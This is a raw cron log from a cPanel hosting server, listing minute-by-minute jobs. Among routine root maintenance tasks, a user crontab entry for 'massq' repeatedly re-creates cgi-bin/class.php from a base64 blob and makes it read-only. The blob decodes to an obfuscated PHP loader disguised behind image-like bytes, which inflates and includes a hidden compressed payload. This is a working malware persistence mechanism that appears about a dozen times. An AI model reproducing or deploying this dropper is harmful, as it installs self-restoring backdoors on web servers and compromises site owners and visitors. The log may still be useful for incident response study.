Sep  3 07:29:01 server CROND[29413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:29:01 server CROND[29415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:30:01 server CROND[29795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:30:01 server CROND[29796]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:30:01 server CROND[29800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:30:01 server CROND[29801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:30:01 server CROND[29802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:30:01 server CROND[29807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:30:01 server CROND[29809]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:30:01 server CROND[29808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:31:01 server CROND[30633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:31:01 server CROND[30634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:31:01 server CROND[30635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:32:01 server CROND[31093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:32:01 server CROND[31094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:32:01 server CROND[31095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:33:01 server CROND[31482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:33:01 server CROND[31483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:33:01 server CROND[31484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:34:01 server CROND[31859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:34:01 server CROND[31860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:34:01 server CROND[31861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:35:01 server CROND[32249]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:35:01 server CROND[32250]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 07:35:01 server CROND[32251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:35:01 server CROND[32253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:35:01 server CROND[32254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:35:01 server CROND[32252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:35:01 server CROND[32258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:35:01 server CROND[32255]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 07:35:01 server CROND[32257]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:36:01 server CROND[659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:36:01 server CROND[661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:36:01 server CROND[660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:37:01 server CROND[1204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:37:01 server CROND[1205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:37:01 server CROND[1207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:38:01 server CROND[1622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:38:01 server CROND[1623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:38:01 server CROND[1625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:39:01 server CROND[2034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:39:01 server CROND[2036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:39:01 server CROND[2037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:39:01 server CROND[2035]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 07:40:01 server CROND[2419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:40:01 server CROND[2420]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:40:01 server CROND[2421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:40:01 server CROND[2422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:40:01 server CROND[2423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:40:01 server CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:40:01 server CROND[2424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
